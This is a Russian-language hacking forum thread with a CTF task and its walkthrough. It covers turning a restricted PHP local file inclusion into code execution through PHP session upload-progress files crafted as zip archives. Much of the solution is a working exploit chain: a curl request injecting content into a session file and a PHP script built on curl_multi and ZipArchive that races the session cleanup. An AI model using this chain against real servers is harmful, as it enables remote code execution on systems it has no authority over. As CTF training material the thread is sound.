ANTICHAT - Task #8

ANTICHAT (https://forum.antichat.xyz/index.php)

- Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)

- - Task #8 (https://forum.antichat.xyz/showthread.php?t=471183)

Добьем тему.

Предлагается найти RCE для не очень частой, но довольно тупиковой ситуации, когда есть "голая" LFI, без возможности заливки файлов, без доступа к логам или чему-либо полезному, сессия не стартована.

В конце прошлого года известные китайцы (тайванцы) показали, что задача решаема.

И не то, чтобы решение было "кривое", нормальное решение, но мы сделаем круче.

Сможем обойти более сложную проблему , когда проверяется расширение файла, или даже конкретное имя, или еще и путь до файла.

Для минимизации времени на поиски вариантов все скрипты с сайта убраны, оставлен только один (и почищен) - не промахнетесь.

В нем строка:

Код:

if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);

Настройки сайта почти дефолтные, но

Код:

open_basedir /var/www/:/var/lib/php/sessions:/tmp

и порезаны исходящие соединения (без вариантов, инклюд возможен только локальный).

Задание:

1- Выполнить на таргете phpinfo().

2- Отдельно будет оцениваться удобство эксплуатации, мы сделаем "конфетку" - надежное 100% срабатывание, без всяких гонок.

Срок:

две недели.

Отлаживаться можно и локально, способы универсальные, работают и в никсах и на винде.

Скрипт в аттаче.

Флагов нет, присылайте решения в ПМ форума.

И сканеры не нужны, не помогут.

Никаких секретных каталогов, файлов - нет.

Даже картинка тут не при делах.

Правила остаются прежними:

В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.

Прошли:

=HALK= 1, 2

nix_security 1, 2

Gorbachev 1, 2

joelblack 1

Прохождения

По поводу тестов на локалке, проверено для php 7.

Судя по манам, должно работать с версии 5.4, но нужно проверять.

=

upd

Для 5.5.20 тоже работает, подтверждаю.

Не знаю, как здоровый зеленый мужик попадает в клавиатуру, но в решение он попал.

И довольно неплохо.

nix_security тоже зарешал, реализацию еще можно допиливать, но уже вполне прилично.

Вот даже пришлось выкатить неожиданную полторашку.

Почти уверен - он тоже добьет.

Давайте подумаем, как решать такую задачу.

Раньше мы бы пытались сбрутить темп-файл, который создается при загрузке файла.

Ну м.б. по сегфолту положили его не временным а постоянным.

Надеюсь никто не будет мучить сервер таска таким поиском.

Кстати, один наш общий знакомый недавно подтвердил работоспособность такого решения, возможно он еще отпишется, хотя именно он и заставил меня поискать альтернативное решение.

И сегодня мы уже можем зайти с другой стороны.

Решение складывается из трех пазлов, по двум уже даны подсказки, одна аж прям почти открытым текстом, вторая пытается быть не такой прямой, а осторожно указывает на блог Orange, который и сам по себе интересен, да еще дает нам новый механизм работы с сессиями, даже когда они не стартованы явно.

Полезная вещь, если пропустили ее, рекомендую потестить и разобраться.

На рдоте тоже есть подходящий пост.

Сложив две технологии мы зарешаем первый пункт таска.

Второй пункт - просто сделаем решение технологичным, надежным и удобнымным в эксплуатации.

Спасибо за таск! Интересный и малоизвестный вектор.

Цитата:

Сообщение от nix_security

↑
Спасибо за таск! Интересный и малоизвестный вектор.

Наверное зацеплюсь за мысль и скажу такую штуку:

Вот мы приходим в ИБ и видим много разных вещей, новых, крутых, невероятных.

Учимся пользоваться ими.

Но все время остается дистанция, между нами и теми, кто это ресерчил и отлаживал, наполнял содержанием то, что мы называем хакерскими технологиями.

Они крутые, а мы только учимся.

Но вот сейчас хороший момент, когда можно почувствовать, что мир становится "меньше" и уже не так далеко до тех, кто творит хакерскую историю.

А может расстояния остались теми же, а мы выросли.

В любом случае мы сейчас делаем то, что пока еще никто в мире не умеет делать.

Никто, кроме нас.

А мы уже научились выпиливать лобзиком хитрые архивы и сейчас из обычной сессии приготовим еще один такой.

С нужным нам содержанием, с нужным именем.

И не из-за ошибок в коде скриптов, а в дефолтной системе.

Пусть это и не похек интернета, но некоторая новая технология, у которой есть потенциал, а возможно и история с продолжением.

Поэтому предлагаю не ждать, когда появятся ответы, а найти их в составе команды первопроходцев.

Вот за что нравятся задачки дубля, так это за то что там нет воды: вот тебе готовая, популярная проблема, реши ее. И хорошо подвел к ее решению предыдущим заданием. Осталось сложить а+б. Идеально для новичков, самый недооцененный таск.

a - https://blog.orange.tw/2018/10/hitco...challenge.html или http://wonderkun.cc/index.html/?p=718, нас интересует принудительное создание сессии с нужной начинкой.

б- поскольку в имени сессии точка недопустима, смотрим /threads/470693/

Ну и, как посоветовал Лайт, соединяем технологии a + б.

Спасибо за таск, очень понравился, читал ресерч оранжа ранее, было интересно воспроизвести его, да еще и в купе с "штукой" из таска7)

Прохождение

Анализ:

Поскольку логи недоступны и на сайте нет скриптов аплоада, ищем способы сформировать файл с полезной нагрузкой.

Open_basedir разрешает работу в /tmp и в каталоге сессий, а в каталог сайта чмоды писать не дают, да и нечем.

Можем инициировать загрузку файла и пытаться сбрутить имя создающегося темп-файла.

Но в конце прошлого года был обнаружен более интересный механизм, попробуем поковырять его.

Идея:

Можно задействовать механизм принудительного создания сессии и проинклюдить ее.

Затею нетрудно реализовать в системе с дефолтными настройками, на рдоте тоже была заметка на эту тему, поэтому не экзотика, тестим и разбираемся - чего и как.

Для начала смотрим маны и готовим localhost, php v. >=5.4 и для удобства временно установим

Код:

session.upload_progress.cleanup = Off

это не будет очищать сессию и мы сможет исследовать содержимое.

Отправляем запрос

Код:

curl http://127.0.0.1/index.php -H "Cookie: PHPSESSID=test" -F "PHP_SESSION_UPLOAD_PROGRESS=blahblahblah"  -F "file=@/tmp/up.txt"

и получаем сессию с именем sess_test и содержимым (интересует только начало)

Код:

upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1561714798;s:14:"content_length";i:297312;s:15:"bytes_processed";i:297312;s:4:"done";

Где видим свою начинку blahblahblah.

Т.е. можем вставить произвольный php-код и получаем файл с заданным именем и нужной начинкой

Код:



 Z"/>

Код:

upload_progress_ZZZ|a:5:{s:10:"start_time";i:1561718417;s:14:"content_length";i:6931748;s:15:"bytes_processed";i:6931748;s:4:

Первая полезняшка.

Теперь возвращаем session.upload_progress.cleanup = On

и двигаемся дальше.

Если бы не

Код:

if(isset($_GET['f']) && basename($_GET['f'])==='test.php')

то просто проинклюдили бы сессию с заранее заданным именем, но нужно байпасить basename().

Тут, к сожалению, известные приемы закончились и дальше придется ресерчить самим.

Назвать сессию - 'test.php' мы не можем, точка - недопустимый символ в имени сессии.

Поэтому вспоминаем, как в таске #7 мы работали с архивами и помещали в них нужные файлы, как продолжение файловой системы.

И basename() будет применен уже не к файлу архива, а к этим файлам, когда мы их запросим.

Если контролируемую часть сессии сформировать так, чтобы файл сессии стал валидным архивом, то можно проинклюдить содержимое архива, используя соответствующий враппер.

Мысль хорошая, тестим.

Phar не подходит по двум причинам - проверяет целостность содержимого и в имени файла обязательно должна быть точка (и хотя бы один символ после нее).

Но вот zip нам пригодится.

Мы уже умеем добавлять произвольный префикс к нему, да и точка в имени не обязательна.

Аналогично можно добавить и суффикс, но этого делать не придется, потому, что есть еще одно замечательное свойство - добавление данных в конец готового архива не ломает его, он их просто игнорирует, не видит.

И эти данные становятся частью файла, но не частью архива.

Итого имеем неизменяемое начало файла, заголовок сессии (из которого и сформируем архив) и остальную, изменяемую часть сессии.

И вот она - магия!

Один и тот же файл воспринимается одновременно и как валидный архив с полезной начинкой и как файл сессии, с которым адекватно работает php.

Остается решить третью проблему, сессия очищается по окончании загрузки файла и нужно ловить момент, когда полезная начинка существует в файле сессии.

Если мониторить размер файла сессии, то происходит примерно следующее, пока работает скрипт загрузки.

---=======-----

где:

- сессия пуста

= файл сессии содержит полезную начинку

Можно просто поиграть в гонки, сгенерить много загрузок и много инклюдов, какой-нибудь да сработает.

Можно даже один раз запустить загрузку большого файла и множеством запрсов ловить нужное состояние сессии.

Мы примерно по этому пути и пойдем, но сделаем процесс более контролируемым и надежным.

Реализация

Php - однопоточный по своей природе, а нам нужно два потока запускать и контролировать, поэтому лучше использовать чего-нибудь другое.

Хотя и тут можно скозлоумничать.

На неблокирующих сокетах, или попробовать мультикурл.

А давайте попробуем.

Оказывается вполне даже работает.

Инициируем два соединения, первое аплоадит файл, второе инклюдит сессию через враппер.

Код:

curl_setopt($ch1, CURLOPT_URL,$url1);

curl_setopt($ch2, CURLOPT_URL,$url2);

Приведу несколько модифицированное решение, не потому, что оно лучше, а чтобы показать, что в момент, когда мультикурл переключается между соединениями (цикл do while), мы можем выполнять некоторые дополнительные действия (проверки), что может быть полезным и в других случаях, а нам сейчас дает возможность отловить состояние, когда файл сессии содержит нужные данные.

Код:

 getshell(),

    'file' => new CurlFile($fup),

];



mpmc($u,$p);



#===

function mpmc($url,$post=array(), $cookie='PHPSESSID=task8') {

    $ch = curl_init();



    curl_setopt($ch, CURLOPT_URL,$url);

    curl_setopt($ch, CURLOPT_TIMEOUT, 18);

    curl_setopt($ch,CURLOPT_POST,1);

    curl_setopt($ch,CURLOPT_POSTFIELDS,$post);

    curl_setopt($ch, CURLOPT_COOKIE,$cookie);



    $mh = curl_multi_init();

    curl_multi_add_handle($mh,$ch);



    $running=null;

    do {

        curl_multi_exec($mh, $running);

        $fg = @file_get_contents($url);

        if (strlen($fg)>1000) {

            echo $fg;

            die;

        }

    } while ($running > 0);



    curl_multi_remove_handle($mh,$ch);

    curl_multi_close($mh);

}

#===

function getshell(){

    $evil_code='';

    $header=ini_get("session.upload_progress.prefix");

    $footer="";

    $local_path_to_archive="/tmp/test.zip";

    $inc_file="/tmp/test.php";



    @unlink($local_path_to_archive);

    file_put_contents($inc_file,$evil_code);

    $zip = new ZipArchive();

    if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {

        exit("could not open file $local_path_to_archive\n");

    }

    $zip->addFromString($header,"");

    $zip->setArchiveComment($footer);

    $zip->addFile($inc_file,"/tmp/test.php");

    $zip->close();

    @unlink($inc_file);

    $r=preg_replace("/$header/si", "", file_get_contents($local_path_to_archive),1);

    return $r;

}

Здесь curl_setopt($ch2, CURLOPT_URL,$url2); выпилен, поскольку в проверке уже используется file_get_contents($url), а мультикурл все-равно производит переключение, даже если второе соединение отсутствует.

Кстати, в процессе тестов обнаружился такой момент, пустил соединение через прокси Charles и поведение сессии на сервере таска изменилось, файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки.

Так что просто последовательное выполнение запроса загрузки и следом запроса на инклюд - работало на ура.

Без всякого шаманства.

Не "конфетка", но тоже интересно.